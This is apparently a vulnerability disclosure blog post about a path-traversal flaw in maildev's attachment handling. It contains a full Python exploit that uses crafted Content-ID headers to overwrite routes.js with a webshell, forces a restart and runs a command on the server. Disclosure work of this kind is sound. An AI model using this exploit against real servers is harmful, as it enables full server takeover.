Do not use `maildev` anyway 💣
Introduce
Do you guys know maildev
application to run temporary mail server? maildev
is open-sourced SMTP Server + Web Interface for viewing and testing emails during development. To say conclusionally, DO NOT USE THIS SOFTWARE. Hackers can force-write existing source codes and completely takeover the server.
This program has not been updated or patched despite serious security weakness for long time. This weakness also has been a ingredient of web security challenge named '0-day' in CODEGATE 2023. Today I'm going to share this serious security vulnerability that found from this open-sourced software.
Settings Before Analysis 🛠
There are several methods to install the maildev
service on your machine. However, for this demonstration, I will utilize the default Docker image of maildev
, primarily due to its versatility.
1. Download maildev
Image from docker-compose.yml
Below is an example of the docker-compose.yml
file, as found in the maildev
GitHub repository.
version: '3'
services:
maildev:
image: maildev/maildev
restart: always
environment:
- TZ=Asia/Shanghai
- MAILDEV_WEB_PORT=1080
- MAILDEV_SMTP_PORT=1025
ports:
- "8080:1080"
- "8025:1025"
logging:
driver: "json-file"
options:
max-size: "1m"
It's important to note that the restart: always
directive is included in the configuration. This ensures that the server automatically restarts if it encounters any issues. Additionally, this setup permits the execution of arbitrary JavaScript code.
2. Copy source codes
While examining the running processes with the ps
command, I checked some active processes.
$ sudo docker exec -it maildev_maildev_1 /bin/sh
~ $ ps -aef
PID USER TIME COMMAND
1 node 0:00 node bin/maildev
91 node 0:00 /bin/sh
301 node 0:00 ps -aef
This prompted me to copy the files from the Docker container.
It's not uncommon to encounter discrepancies between the source code in a Docker image and its corresponding GitHub repository. To ensure accuracy, I always make it a point to check the source code files within the Docker image. Therefore, I transferred these files to my host machine for thorough analysis.
With this step complete, we're now fully prepared to begin the in-depth analysis.
Analysis 🔬
We will focus our analysis on the maildev/lib/mailserver.js
file. Let's examine it in detail.
The saveAttachment()
function is designed to handle email attachments. It accesses the metadata of files attached to emails, and writes these files to a specified path, which is generated using the attachment.contentId
attribute.
What's Content-Id
?
TheContent-ID
(Content Identifier) is a header used in MIME (Multipurpose Internet Mail Extensions) parts of an email. Its primary purpose is to uniquely identify MIME entities in a multipart email message. Here's an overview of what Content-ID
is and what it's used for:
- In a multipart email, one part might be the HTML body of the message, and another part might be an image or other media.
- The image part will have a
Content-ID
header (e.g.,Content-ID: <image123>
). - In the HTML body, this image can be referenced and displayed inline using the
Content-ID
(e.g.,<img src="cid:image123">
). - Email clients that display HTML will recognize this
cid:
reference and display the image inline at that point in the HTML.
Exploring the Vulnerability
The vulnerability arises because the Content-Id
headers can include special characters inserted by hackers. As a result, the saveAttachment()
function might be exploited to write arbitrary files.
Exploitation Strategy 🏹
The proposed exploit process involves the following steps:
- Upload two files: an EML file and a web shell file.
- Trigger a server restart by accessing
/reloadMailsFromDirectory
. If a JavaScript error occurs, the server's code will be reloaded due to the 'restart: always' setting indocker-compose.yml
. - Gain access through the web shell and achieve control.
Exploit 🪓
import time
import smtplib
import requests
from email.mime.multipart import MIMEMultipart
from email.mime.application import MIMEApplication
from email.mime.text import MIMEText
from pathlib import Path
# Email configuration settings
smtp_server = '192.168.45.90'
smtp_port = 8025
sender_email = 'sender@example.com'
sender_password = 'password' # Note: Ensure secure handling of passwords in production
recipient_email = 'recipient@example.com'
# Create the base email message
msg = MIMEMultipart()
msg['Subject'] = 'Pwned!'
msg['From'] = sender_email
msg['To'] = recipient_email
msg.attach(MIMEText('pwned', 'plain'))
# Function to attach a file with a specific content ID to the email message
def attach_file_with_content_id(filepath, content_id):
"""
Attach a file to the email with a given content ID.
Args:
filepath (str): Path to the file to be attached.
content_id (str): Content ID for the file.
"""
file_path = Path(filepath)
with open(file_path, 'rb') as file:
file_data = file.read()
file_attachment = MIMEApplication(file_data, Name=file_path.name)
file_attachment['Content-Disposition'] = f'attachment; filename="{file_path.name}"'
file_attachment.add_header('Content-ID', f'<{content_id}>')
msg.attach(file_attachment)
# Attaching files to the email
attach_file_with_content_id('./test.eml', '../../../../tmp/maildev-1/test.eml')
attach_file_with_content_id('./backdoor.js', '../../../../../../../../home/node/lib/routes.js')
# Function to send the email
def send_email():
"""
Send the prepared email using SMTP.
"""
with smtplib.SMTP(smtp_server, smtp_port) as server:
server.send_message(msg)
send_email()
print("[INFO] Email with webshell attachment sent.")
# Restarting the MailDev server
print("[INFO] Requesting `maildev` server restart.")
session = requests.Session()
session.get("http://192.168.45.90:8080/reloadMailsFromDirectory")
time.sleep(5) # Waiting for server restart
# Accessing the webshell and executing a command
print("[SUCCESS] Webshell is now accessible.")
response = session.get("http://192.168.45.90:8080/shell", params={"c": "id"})
print("$ id")
print(response.text)
Here is the content of the test.eml
file, specifically crafted to trigger an error and cause the server to restart.
Conclusion
It's advisable to exercise caution with maildev
; relying on it solely for the sake of rapid development can lead to potential vulnerabilities.